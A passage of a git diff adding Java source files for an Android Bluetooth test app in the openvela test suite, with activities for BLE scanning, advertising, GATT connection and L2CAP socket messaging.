Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE), REQUEST_ENABLE_BT); + } + + private void disableBluetooth() { + bluetoothAdapter.disable(); + } +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/MainActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/MainActivity.java new file mode 100755 index 0000000000000000000000000000000000000000..5045ebbd305a43c921cad89e06adc1dce5983218 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/MainActivity.java @@ -0,0 +1,106 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest; + +import java.util.ArrayList; +import java.util.List; + +import android.Manifest; +import android.content.Intent; +import android.os.Build; +import android.os.Bundle; +import android.util.Log; +import android.view.View; +import android.widget.LinearLayout; +import android.widget.TextView; + +import android.bluetooth.BluetoothAdapter; + +import androidx.activity.result.contract.ActivityResultContracts; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.openvela.bluetooth.BluetoothStateObserver; +import com.openvela.bluetooth.callback.BluetoothStateCallback; +import com.openvela.bluetoothtest.LocalAdapter.OnOffActivity; +import com.openvela.bluetoothtest.ble.BleL2capActivity; +import com.openvela.bluetoothtest.ble.BleScanActivity; +import com.openvela.bluetoothtest.ble.BlePeripheralActivity; +import com.openvela.bluetoothtest.bredr.BondActivity; +import com.openvela.bluetoothtest.bredr.BredrInquiryActivity; +import com.openvela.bluetoothtest.bredr.BredrL2capActivity; +import com.openvela.bluetoothtest.bredr.SppActivity; + +public class MainActivity extends AppCompatActivity { + private final String TAG = MainActivity.class.getSimpleName(); + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + requestBluetoothPermission(); + } + + private void requestBluetoothPermission() { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + String[] necessaryBluetoothPermissioins = { + Manifest.permission.BLUETOOTH_CONNECT, + Manifest.permission.BLUETOOTH_SCAN, + Manifest.permission.BLUETOOTH_ADVERTISE, + Manifest.permission.ACCESS_COARSE_LOCATION, + Manifest.permission.ACCESS_FINE_LOCATION}; + if (necessaryBluetoothPermissioins.length > 0) { + Log.d(TAG, "Request Bluetooth permissions"); + ActivityCompat.requestPermissions(this, necessaryBluetoothPermissioins, 1); + } + } + } + + public void entryOnOffActivity(View view) { + startActivity(new Intent(this, OnOffActivity.class)); + } + + public void entryBredrInquiryActivity(View view) { + startActivity(new Intent(this, BredrInquiryActivity.class)); + } + + public void entryBondActivity(View view) { + startActivity(new Intent(this, BondActivity.class)); + } + + public void entrySppActivity(View view) { + startActivity(new Intent(this, SppActivity.class)); + } + + public void entryBredrL2capActivity(View view) { + startActivity(new Intent(this, BredrL2capActivity.class)); + } + + public void entryBleCentralActivity(View view) { + startActivity(new Intent(this, BleScanActivity.class)); + } + + public void entryBlePeripheralActivity(View view) { + startActivity(new Intent(this, BlePeripheralActivity.class)); + } + + public void entryBleL2capActivity(View view) { + startActivity(new Intent(this, BleL2capActivity.class)); + } +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleCentralActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleCentralActivity.java new file mode 100755 index 0000000000000000000000000000000000000000..fb073f719add5b6c31e3b2a12bde85a7346b5680 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleCentralActivity.java @@ -0,0 +1,132 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import android.os.Bundle; +import android.widget.Button; +import android.widget.TextView; + +import android.bluetooth.BluetoothProfile; + +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.DividerItemDecoration; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import com.openvela.bluetooth.BtDevice; +import com.openvela.bluetooth.callback.BleConnectCallback; +import com.openvela.bluetoothtest.R; + +import org.jetbrains.annotations.NotNull; +import org.jetbrains.annotations.Nullable; + +public class BleCentralActivity extends AppCompatActivity { + private final String TAG = BleCentralActivity.class.getSimpleName(); + public static final String EXTRA_TAG = "device"; + private TextView tvConnectState; + private Button btnConnect; + private @NotNull BtDevice currentDevice; + private GattClientAdapter gattClientAdapter; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_ble_central); + gattClientAdapter = new GattClientAdapter(this); + initView(); + + currentDevice = getIntent().getParcelableExtra(EXTRA_TAG); + getSupportActionBar().setSubtitle(currentDevice.getAddress()); + gattClientAdapter.connect(currentDevice, connectCallback); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + if (currentDevice.getConnectionState() != BluetoothProfile.STATE_CONNECTING) { + gattClientAdapter.cancelConnect(currentDevice); + } else if (currentDevice.getConnectionState() != BluetoothProfile.STATE_CONNECTED){ + gattClientAdapter.disconnect(currentDevice); + } + } + + private void initView() { + tvConnectState = findViewById(R.id.tv_connect_state); + btnConnect = findViewById(R.id.btn_connect); + RecyclerView recyclerView = findViewById(R.id.recyclerView); + + btnConnect.setOnClickListener(v -> { + if (currentDevice.getConnectionState() == BluetoothProfile.STATE_DISCONNECTED) { + gattClientAdapter.connect(currentDevice, connectCallback); + } else if (currentDevice.getConnectionState() == BluetoothProfile.STATE_CONNECTING) { + gattClientAdapter.cancelConnect(currentDevice); + } else { + gattClientAdapter.disconnect(currentDevice); + } + }); + + recyclerView.setLayoutManager(new LinearLayoutManager(this, LinearLayoutManager.VERTICAL, false)); + recyclerView.addItemDecoration(new DividerItemDecoration(this,DividerItemDecoration.VERTICAL)); + recyclerView.getItemAnimator().setChangeDuration(300); + recyclerView.getItemAnimator().setMoveDuration(300); + recyclerView.setAdapter(gattClientAdapter); + } + + private final BleConnectCallback<BtDevice> connectCallback = new BleConnectCallback<BtDevice>() { + @Override + public void onConnectionChanged(String address, int newState) { + if (!address.equals(currentDevice.getAddress())) { + return; + } + currentDevice.setConnectionState(newState); + if (newState == BluetoothProfile.STATE_CONNECTED) { + tvConnectState.setText("Connected"); + btnConnect.setText("DISCONNECT"); + } else if (newState == BluetoothProfile.STATE_DISCONNECTED){ + tvConnectState.setText("Disconnected"); + btnConnect.setText("CONNECT"); + } else if (newState == BluetoothProfile.STATE_CONNECTING) { + tvConnectState.setText("Connecting..."); + btnConnect.setText("DISCONNECT"); + } else if (newState == BluetoothProfile.STATE_DISCONNECTING){ + tvConnectState.setText("Disconnecting..."); + btnConnect.setText("DISCONNECT"); + } + } + + @Override + public void onConnectFailed(String address, int errorCode) { + super.onConnectFailed(address, errorCode); + if (errorCode == BleConnectCallback.FAILED_DEVICE_NOT_FOUND) { + tvConnectState.setText("Connect Failed:" + "device not found"); + } else if (errorCode == BleConnectCallback.FAILED_TIMEOUT) { + tvConnectState.setText("Connect Failed:" + "timeout"); + } else { + tvConnectState.setText("Connect Failed:" + errorCode); + } + currentDevice.setConnectionState(BluetoothProfile.STATE_DISCONNECTED); + btnConnect.setText("CONNECT"); + } + + @Override + public void onServicesDiscovered(String address) { + super.onServicesDiscovered(address); + tvConnectState.setText("Discovered"); + } + }; + +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleL2capActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleL2capActivity.java new file mode 100644 index 0000000000000000000000000000000000000000..3ca291d8678a86b2641ca7e45a03c5190c44ca78 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleL2capActivity.java @@ -0,0 +1,222 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.widget.Button; +import android.widget.EditText; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import com.openvela.bluetooth.BtSock; +import com.openvela.bluetoothtest.MainActivity; +import com.openvela.bluetoothtest.R; + +public class BleL2capActivity extends AppCompatActivity { + private final String TAG = MainActivity.class.getSimpleName(); + + // Client/Server #1 + EditText textServiceUUID_1; + EditText textBdAddr_1; + EditText textDataToSend_1; + BtSock btSock_1; + + // Client/Server #2 + EditText textServiceUUID_2; + EditText textBdAddr_2; + EditText textDataToSend_2; + BtSock btSock_2; + + // Data to Display + EditText textDataToDisplay; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_ble_l2cap); + + // Service UUID #1 + textServiceUUID_1 = (EditText) findViewById(R.id.text_service_uuid_1); + + // Register Server #1 + Button buttonRegister_1 = findViewById(R.id.button_spp_server_register_1); + buttonRegister_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_1.getText().toString(); + + Log.d(TAG, "onClick: Register UUID#1 = " + uuid); + btSock_1.register(uuid); + } + }); + + // Unregister Server #1 + Button buttonUnregister_1 = findViewById(R.id.button_spp_server_unregister_1); + buttonUnregister_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Unregister Server#1"); + btSock_1.unregister(); + } + }); + + // Service UUID #2 + textServiceUUID_2 = (EditText) findViewById(R.id.text_service_uuid_2); + + // Register Server #2 + Button buttonRegister_2 = findViewById(R.id.button_spp_server_register_2); + buttonRegister_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_2.getText().toString(); + + Log.d(TAG, "onClick: Register UUID#2 = " + uuid); + btSock_2.register(uuid); + } + }); + + // Unregister Server #2 + Button buttonUnregister_2 = findViewById(R.id.button_spp_server_unregister_2); + buttonUnregister_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Unregister Server#2"); + btSock_2.unregister(); + } + }); + + // BD_ADDR #1 + textBdAddr_1 = (EditText) findViewById(R.id.text_bd_addr_1); + + // Connect by Client #1 + Button buttonConnect_1 = findViewById(R.id.button_spp_client_connect_1); + buttonConnect_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_1.getText().toString(); + String addr = textBdAddr_1.getText().toString(); + + Log.d(TAG, "onClick: Connect by Client#1, to BD_ADDR = " + addr); + btSock_1.connect(addr, uuid); + } + }); + + // Disconnect with Client/Server #1 + Button buttonDisonnect_1 = findViewById(R.id.button_spp_disconnect_1); + buttonDisonnect_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Disconnect with Client/Server#1"); + btSock_1.disconnect(); + } + }); + + // BD_ADDR #2 + textBdAddr_2 = (EditText) findViewById(R.id.text_bd_addr_2); + + // Connect by Client #2 + Button buttonConnect_2 = findViewById(R.id.button_spp_client_connect_2); + buttonConnect_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_2.getText().toString(); + String addr = textBdAddr_2.getText().toString(); + + Log.d(TAG, "onClick: Connect by Client#2, to BD_ADDR = " + addr); + btSock_2.connect(addr, uuid); + } + }); + + // Disconnect with Client/Server #2 + Button buttonDisonnect_2 = findViewById(R.id.button_spp_disconnect_2); + buttonDisonnect_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Disconnect with Client/Server#2"); + btSock_2.disconnect(); + } + }); + + // DataToSend #1 + textDataToSend_1 = (EditText) findViewById(R.id.text_data_to_send_1); + + // Send to Client/Server #1 + Button buttonSend_1 = findViewById(R.id.button_spp_send_1); + buttonSend_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textDataToSend_1.getText().toString(); + + Log.d(TAG, "onClick: Send by Client/Server#1, data = " + str); + btSock_1.send(str, 0); + } + }); + + // DataToSend #2 + textDataToSend_2 = (EditText) findViewById(R.id.text_data_to_send_2); + + // Send to Client/Server #2 + Button buttonSend_2 = findViewById(R.id.button_spp_send_2); + buttonSend_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textDataToSend_2.getText().toString(); + + Log.d(TAG, "onClick: Send by Client/Server#2, data = " + str); + btSock_2.send(str, 0); + } + }); + + // Data to display + textDataToDisplay = (EditText) findViewById(R.id.text_data_to_display); + + // Init BtSock + btSock_1 = new BtSock(1, BtSock.SOCK_TYPE_L2CAP_BLE_INSECURE, mHandler); + btSock_2 = new BtSock(2, BtSock.SOCK_TYPE_L2CAP_BLE_INSECURE, mHandler); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } + + // Handle Message from BtSock + private final Handler mHandler = new Handler(Looper.getMainLooper()) { + public void handleMessage(Message msg) { + switch (msg.what) { + case BtSock.MESSAGE_SOCK_LOGGING: + Bundle bData = msg.getData(); + String str = (String) bData.get("log"); + if (str == null) + return; + + Log.d(TAG, str); + + // Update UI + String strToDisplay = textDataToDisplay.getText().toString(); + textDataToDisplay.setText(str + strToDisplay); + break; + } + } + }; +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BlePeripheralActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BlePeripheralActivity.java new file mode 100755 index 0000000000000000000000000000000000000000..f04bb25e96c0bee486abe131f8373232cad9e1b8 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BlePeripheralActivity.java @@ -0,0 +1,117 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import android.os.Bundle; +import android.util.Log; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Button; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.le.AdvertiseCallback; +import android.bluetooth.le.AdvertiseData; +import android.bluetooth.le.AdvertiseSettings; +import android.bluetooth.le.BluetoothLeAdvertiser; + +import androidx.appcompat.app.AppCompatActivity; + +import com.openvela.bluetoothtest.R; + +public class BlePeripheralActivity extends AppCompatActivity { + private final String TAG = BlePeripheralActivity.class.getSimpleName(); + private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + private volatile BluetoothLeAdvertiser bluetoothAdvertiser; + private TextView tvAdvState; + private Button btnAdv; + private EditText etAdvName; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_ble_peripheral); + initView(); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + if (isAdvertising()) { + stopAdvertising(); + } + } + + private void initView() { + tvAdvState = findViewById(R.id.tv_adv_state); + btnAdv = findViewById(R.id.btn_adv); + etAdvName = findViewById(R.id.et_adv_name); + + btnAdv.setOnClickListener(v -> { + if (isAdvertising()) { + stopAdvertising(); + tvAdvState.setText("Advertise Stopped"); + btnAdv.setText("START ADVERTISE"); + } else { + startAdvertising(etAdvName.getText().toString().getBytes()); + } + }); + } + + private boolean isAdvertising() { + return (bluetoothAdvertiser != null); + } + + private void startAdvertising(final byte[] payload) { + Log.d(TAG, "startAdvertising: enter"); + + AdvertiseSettings advertiseSettings = new AdvertiseSettings.Builder() + .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY) + .setConnectable(true) + .setTimeout(0) + .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_HIGH) + .build(); + AdvertiseData advertiseData = new AdvertiseData.Builder() + .addManufacturerData(0xFF00, payload) + .setIncludeDeviceName(true) + .build(); + + bluetoothAdvertiser = bluetoothAdapter.getBluetoothLeAdvertiser(); + bluetoothAdvertiser.startAdvertising(advertiseSettings, advertiseData, advertiseCallback); + } + + public void stopAdvertising() { + Log.d(TAG, "stopAdvertising"); + + bluetoothAdvertiser.stopAdvertising(advertiseCallback); + bluetoothAdvertiser = null; + } + + private final AdvertiseCallback advertiseCallback = new AdvertiseCallback() { + @Override + public void onStartSuccess(AdvertiseSettings settingsInEffect) { + tvAdvState.setText("Advertising..."); + btnAdv.setText("STOP ADVERTISE"); + Log.e(TAG, "AdvertiseCallback::onStartSuccess: OK"); + } + + @Override + public void onStartFailure(int errorCode) { + tvAdvState.setText("Advertise Failed: " + errorCode); + Log.e(TAG, "AdvertiseCallback::onAdvStartFailure: " + errorCode); + } + }; +} \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleScanActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleScanActivity.java new file mode 100755 index 0000000000000000000000000000000000000000..30d82c636048d4cda39619f64fdf5885c6b07192 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleScanActivity.java @@ -0,0 +1,106 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import android.os.Bundle; +import android.util.Log; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Button; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.DividerItemDecoration; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import com.openvela.bluetooth.BtDevice; +import com.openvela.bluetooth.callback.BluetoothDiscoveryCallback; +import com.openvela.bluetoothtest.R; + +public class BleScanActivity extends AppCompatActivity { + private final String TAG = BleScanActivity.class.getSimpleName(); + private static final long BLE_SCAN_PERIOD_MS = 12 * 1000; + private TextView tvScanState; + private Button btnScan; + private EditText etFilter; + private BleScanAdapter bleScanAdapter; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_ble_scan); + bleScanAdapter = new BleScanAdapter(this); + initView(); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + if (bleScanAdapter.isScanning()) { + bleScanAdapter.stopScan(); + } + } + + private void initView() { + tvScanState = findViewById(R.id.tv_scan_state); + btnScan = findViewById(R.id.btn_scan); + etFilter = findViewById(R.id.et_filter); + RecyclerView recyclerView = findViewById(R.id.recyclerView); + + btnScan.setOnClickListener(v -> { + if (bleScanAdapter.isScanning()) { + bleScanAdapter.stopScan(); + } else { + bleScanAdapter.startScan(new String[]{etFilter.getText().toString()}, BLE_SCAN_PERIOD_MS, discoveryCallback); + } + }); + + recyclerView.setLayoutManager(new LinearLayoutManager(this, LinearLayoutManager.VERTICAL, false)); + recyclerView.addItemDecoration(new DividerItemDecoration(this, DividerItemDecoration.VERTICAL)); + recyclerView.getItemAnimator().setChangeDuration(300); + recyclerView.getItemAnimator().setMoveDuration(300); + recyclerView.setAdapter(bleScanAdapter); + } + + private final BluetoothDiscoveryCallback<BtDevice> discoveryCallback = new BluetoothDiscoveryCallback<BtDevice>() { + @Override + public void onDiscoveryResult(final BtDevice device) {} + + @Override + public void onStart() { + super.onStart(); + tvScanState.setText("Scanning..."); + btnScan.setText("STOP SCAN"); + } + + @Override + public void onStop() { + super.onStop(); + tvScanState.setText("Scan Stopped"); + btnScan.setText("START SCAN"); + } + + @Override + public void onDiscoveryFailed(int errorCode) { + super.onDiscoveryFailed(errorCode); + tvScanState.setText("Scan Failed: " + errorCode); + Log.e(TAG, "onDiscoveryFailed: " + errorCode); + } + }; + +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleScanAdapter.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleScanAdapter.java new file mode 100755 index 0000000000000000000000000000000000000000..0c7420d3f176646bc632d682655c25c9ee381ddd --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/BleScanAdapter.java @@ -0,0 +1,264 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import java.util.ArrayList; +import java.util.List; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.Intent; +import android.os.Handler; +import android.os.Looper; +import android.os.ParcelUuid; +import android.text.TextUtils; +import android.view.View; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.le.BluetoothLeScanner; +import android.bluetooth.le.ScanCallback; +import android.bluetooth.le.ScanRecord; +import android.bluetooth.le.ScanResult; +import android.bluetooth.le.ScanSettings; + +import androidx.core.os.HandlerCompat; + +import com.openvela.bluetooth.adapter.RecyclerAdapter; +import com.openvela.bluetooth.adapter.RecyclerViewHolder; +import com.openvela.bluetooth.BtDevice; +import com.openvela.bluetooth.callback.BluetoothDiscoveryCallback; +import com.openvela.bluetoothtest.R; + +public class BleScanAdapter extends RecyclerAdapter<BtDevice> { + private final String TAG = BleScanAdapter.class.getSimpleName(); + private static final String SCAN_TIMEOUT_TOKEN = "scan_timeout_token"; + private static final int RSSI_UPDATE_INTERVAL_MS = 2 * 1000; + private final Handler handler = new Handler(Looper.myLooper()); + private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + private volatile BluetoothLeScanner bluetoothScanner; + private ScanSettings scanSettings; + private String[] scanFilters; + private BluetoothDiscoveryCallback<BtDevice> bleDiscoveryCallback; + private int view_position = -1; + + public BleScanAdapter(Context context) { + super(context, R.layout.item_scan_result, new ArrayList<>()); + } + + @SuppressLint("DefaultLocale") + @Override + public void onBindViewHolderItem(RecyclerViewHolder viewHolder, BtDevice device) { + viewHolder.setText(R.id.tv_address, device.getAddress()); + viewHolder.setText(R.id.tv_rssi, String.format("%ddBm", device.getRssi())); + if (device.getName() == null){ + viewHolder.setText(R.id.tv_name, "Unknown"); + } else { + viewHolder.setText(R.id.tv_name, device.getName()); + } + + if (viewHolder.getBindingAdapterPosition() == view_position){ + viewHolder.setVisibility(R.id.ll_detail, View.VISIBLE); + + ScanRecord scanRecord = device.getScanRecord(); + if (scanRecord != null) { + // Flags + if (scanRecord.getAdvertiseFlags() >= 0) { + viewHolder.setVisibility(R.id.tv_flags, View.VISIBLE); + viewHolder.setText(R.id.tv_flags, "Flags: 0x" + String.format("%02x", scanRecord.getAdvertiseFlags())); + } + // Local Name + if (scanRecord.getDeviceName() != null) { + viewHolder.setVisibility(R.id.tv_local_name, View.VISIBLE); + viewHolder.setText(R.id.tv_local_name, "Local Name: "+ scanRecord.getDeviceName()); + } + // Service UUIDs + List<ParcelUuid> serviceUuids = scanRecord.getServiceUuids(); + if (serviceUuids != null && !serviceUuids.isEmpty()){ + viewHolder.setVisibility(R.id.tv_uuid, View.VISIBLE); + viewHolder.setText(R.id.tv_uuid, String.format("Service Uuids: %s", TextUtils.join(", ", serviceUuids))); + } + // Raw Data + byte[] rawData = scanRecord.getBytes(); + int totalLength = 0; + do { + totalLength += rawData[totalLength] + 1; + } while (rawData[totalLength] != 0); + + StringBuilder builder = new StringBuilder(); + builder.append("RAW: 0x"); + for (int i = 0; i < totalLength; i++) { + builder.append(String.format("%02x", rawData[i])); + } + viewHolder.setText(R.id.tv_raw_data, builder.toString()); + } + + } else { + viewHolder.setVisibility(R.id.ll_detail, View.GONE); + } + + if (device.isConnectable()) { + viewHolder.setVisibility(R.id.tv_connect, View.VISIBLE); + viewHolder.setOnClickListener(R.id.tv_connect, v -> { + if (isScanning()) { + stopScan(); + } + mContext.startActivity(new Intent(mContext, BleCentralActivity.class) + .putExtra(BleCentralActivity.EXTRA_TAG, device)); + }); + } else { + viewHolder.setVisibility(R.id.tv_connect, View.GONE); + } + + viewHolder.setOnClickListener(v -> { + if(viewHolder.getBindingAdapterPosition() == view_position) { + notifyItemChanged(view_position); + view_position = -1; + } else { + notifyItemChanged(view_position); + view_position = viewHolder.getBindingAdapterPosition(); + notifyItemChanged(view_position); + } + }); + } + + public boolean isScanning() { + return (bluetoothScanner != null); + } + + @SuppressLint("NotifyDataSetChanged") + public void startScan(final String[] scanFilters, long scanPeriod, BluetoothDiscoveryCallback<BtDevice> callback) { + bleDiscoveryCallback = callback; + + if (!bluetoothAdapter.isEnabled()) { + if (bleDiscoveryCallback != null) { + bleDiscoveryCallback.onDiscoveryFailed(BluetoothDiscoveryCallback.FAILED_INTERNAL_ERROR); + return; + } + } + + if (isScanning()) { + if (bleDiscoveryCallback != null){ + bleDiscoveryCallback.onDiscoveryFailed(BluetoothDiscoveryCallback.FAILED_ALREADY_STARTED); + } + return; + } + + bluetoothScanner = bluetoothAdapter.getBluetoothLeScanner(); + if (bluetoothScanner != null) { + super.mItems.clear(); + super.notifyDataSetChanged(); + startScanTimer(scanPeriod); + + this.scanFilters = scanFilters; + scanSettings = new ScanSettings.Builder() + .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY) + .setReportDelay(0L) + .build(); + bluetoothScanner.startScan(null, scanSettings, scanCallback); + bleDiscoveryCallback.onStart(); + } else { + bleDiscoveryCallback.onDiscoveryFailed(BluetoothDiscoveryCallback.FAILED_INTERNAL_ERROR); + } + } + + public void stopScan() { + if (!isScanning()) { + return; + } + + cancelScanTimer(); + bluetoothScanner.stopScan(scanCallback); + bleDiscoveryCallback.onStop(); + bluetoothScanner = null; + } + + private void cancelScanTimer() { + handler.removeCallbacksAndMessages(SCAN_TIMEOUT_TOKEN); + } + + private void startScanTimer(long scanPeriod) { + cancelScanTimer(); + + if (scanPeriod >= 0){ + HandlerCompat.postDelayed(handler, () -> { + if (isScanning()) { + stopScan(); + } + }, SCAN_TIMEOUT_TOKEN, scanPeriod); + } + } + + private final ScanCallback scanCallback = new ScanCallback() { + @SuppressLint("NotifyDataSetChanged") + @Override + public void onScanResult(final int callbackType, final ScanResult result) { + synchronized (this) { + final String address = result.getDevice().getAddress(); + final String name = result.getDevice().getName(); + boolean found = true; + + if (scanFilters != null) { + found = false; + for (String filter : scanFilters) { + if ((address != null && address.toLowerCase().contains(filter.toLowerCase())) || + (name != null && name.toLowerCase().contains(filter.toLowerCase()))) { + found = true; + break; + } + } + } + if (!found) { + return; + } + + for (int i = 0; i < getItemCount(); i++) { + BtDevice device = mItems.get(i); + if (TextUtils.equals(device.getAddress(), address)) { + if (device.getRssi() != result.getRssi() && System.currentTimeMillis() - device.getRssiUpdateTime() > RSSI_UPDATE_INTERVAL_MS) { + device.setRssi(result.getRssi()); + device.setRssiUpdateTime(System.currentTimeMillis()); + mItems.set(i, device); + notifyItemChanged(i); + } + return; + } + } + + BtDevice newDevice = new BtDevice(address, name); + newDevice.setConnectable(result.isConnectable()); + newDevice.setScanRecord(result.getScanRecord()); + newDevice.setRssi(result.getRssi()); + newDevice.setRssiUpdateTime(System.currentTimeMillis()); + mItems.add(newDevice); + notifyDataSetChanged(); + + if (bleDiscoveryCallback != null) { + bleDiscoveryCallback.onDiscoveryResult(newDevice); + } + } + } + + @Override + public void onScanFailed(final int errorCode) { + stopScan(); + if (bleDiscoveryCallback != null) { + bleDiscoveryCallback.onDiscoveryFailed(errorCode); + } + } + }; + +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/GattClientAdapter.java 